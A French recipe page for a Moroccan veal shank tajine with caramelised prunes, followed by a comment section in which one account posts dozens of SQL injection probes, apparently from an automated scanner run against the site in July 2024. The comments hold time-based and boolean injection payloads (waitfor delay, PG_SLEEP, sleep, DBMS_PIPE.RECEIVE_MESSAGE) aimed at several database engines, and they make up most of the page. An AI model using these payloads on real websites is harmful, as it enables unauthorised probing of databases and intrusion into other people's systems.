- Accueil
- Cuisine Marocaine
- Tajine De Jarret De Veau Aux Pruneaux Caramélisés
TAJINE DE JARRET DE VEAU AUX PRUNEAUX CARAMÉLISÉS
Ingrédients :
- 1kg 500 de jarret de veau.
- 1 gros oignon émincé.
- 1 gousse d’ail.
- 5 cl d’huile.
- 1 c. à café de sel.
- 1 c. à café de gingembre.
- 1/4 de c. à café de poivre de la Jamaïque « nouiouera ».
- 1/4 de c. à café de noix de muscade.
- 3 bâtonnets de cannelle.
- 50 cl d’eau.
Pour les pruneaux :
- 700 g de pruneaux.
- 80 g de beurre.
- 2 c. à soupe de miel de fleurs d’oranger.
- 1 bâtonnet de cannelle.
- 100 g d’amandes mondées grillées.
Préparation :
Dans une marmite sur feu doux, faire revenir l’oignon, l’ail et les jarrets de veau dans l’huile pendant 5 à 8 mn. Mouiller avec l’eau et à ébullition ajouter les épices.
Couvrir la marmite et laisser mijoter jusqu’à cuisson de la viande et réduction de la sauce. Laver les pruneaux, les égoutter et les dénoyauter. Faire cuire les pruneaux dénoyautés à la vapeur pendant 20 mn.
Dans une casserole sur feu doux, faire fondre le beurre. Lui ajouter 4 c. à soupe de jus de viande, les pruneaux précuits à la vapeur, la cannelle et le miel. Laisser caraméliser les pruneaux en remuant délicatement avec une spatule pendant 10 mn. Dans un plat de service, disposer les jarrets, les garnir de pruneaux fourrés aux amandes.
Mélanger le jus de viande avec la sauce de pruneaux et les filtrer dans une passoire. Napper les jarrets et les pruneaux avec la sauce obtenue. Servir le plat chaud.
Se Connecter pour publier un avis
Avis (50)
- 7 juillet 2024 à 12:30:29
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:31:43
-
lxbfYeaa lxbfYeaa
555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:34:20
-
lxbfYeaa lxbfYeaa
@@t70l3
- 7 juillet 2024 à 12:33:53
-
lxbfYeaa lxbfYeaa
555216l9R9y')) OR 311=(SELECT 311 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:32:10
-
lxbfYeaa lxbfYeaa
555F2NIkeOa'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:34:06
-
lxbfYeaa lxbfYeaa
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 13:40:04
-
lxbfYeaa lxbfYeaa
555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:30:30
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:38:54
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:31:08
-
lxbfYeaa lxbfYeaa
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 12:30:55
-
lxbfYeaa lxbfYeaa
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 13:39:30
-
lxbfYeaa lxbfYeaa
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 12:33:16
-
lxbfYeaa lxbfYeaa
555-1)) OR 928=(SELECT 928 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:56
-
lxbfYeaa lxbfYeaa
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 13:38:55
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:30:30
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:34:19
-
lxbfYeaa lxbfYeaa
555'"
- 7 juillet 2024 à 12:33:28
-
lxbfYeaa lxbfYeaa
555jQaUgLJR' OR 748=(SELECT 748 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:30:31
-
lxbfYeaa lxbfYeaa
-1 OR 3+905-905-1=0+0+0+1
- 7 juillet 2024 à 13:39:42
-
lxbfYeaa lxbfYeaa
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 12:33:03
-
lxbfYeaa lxbfYeaa
555-1) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:38:55
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:40:51
-
lxbfYeaa lxbfYeaa
555-1) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:30:31
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:32:35
-
lxbfYeaa lxbfYeaa
555-1 OR 705=(SELECT 705 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:02
-
lxbfYeaa lxbfYeaa
555-1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:57
-
lxbfYeaa lxbfYeaa
@@jZ8z5
- 7 juillet 2024 à 13:41:13
-
lxbfYeaa lxbfYeaa
555NaaEJDW9' OR 504=(SELECT 504 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:40:38
-
lxbfYeaa lxbfYeaa
555-1 OR 339=(SELECT 339 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:40:15
-
lxbfYeaa lxbfYeaa
555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:31:31
-
lxbfYeaa lxbfYeaa
555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:31:55
-
lxbfYeaa lxbfYeaa
555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:33:40
-
lxbfYeaa lxbfYeaa
555IFwvys42') OR 454=(SELECT 454 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:40:27
-
lxbfYeaa lxbfYeaa
555wXhIdHLn'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:34:18
-
lxbfYeaa lxbfYeaa
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 13:39:53
-
lxbfYeaa lxbfYeaa
555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:41:45
-
lxbfYeaa lxbfYeaa
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 13:41:24
-
lxbfYeaa lxbfYeaa
555pYxlOEF8') OR 173=(SELECT 173 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:56
-
lxbfYeaa lxbfYeaa
555'"
- 7 juillet 2024 à 13:39:19
-
lxbfYeaa lxbfYeaa
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 12:31:20
-
lxbfYeaa lxbfYeaa
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 13:41:35
-
lxbfYeaa lxbfYeaa
555WsM53zIu')) OR 747=(SELECT 747 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:38:42
-
lxbfYeaa lxbfYeaa
555CPmttuby
- 7 juillet 2024 à 12:30:31
-
lxbfYeaa lxbfYeaa
-1 OR 2+905-905-1=0+0+0+1
- 7 juillet 2024 à 13:38:55
-
lxbfYeaa lxbfYeaa
-1 OR 2+470-470-1=0+0+0+1
- 7 juillet 2024 à 13:38:54
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:39:08
-
lxbfYeaa lxbfYeaa
555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 12:30:16
-
lxbfYeaa lxbfYeaa
555woSyZcBz
- 7 juillet 2024 à 12:30:44
-
lxbfYeaa lxbfYeaa
555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 13:38:56
-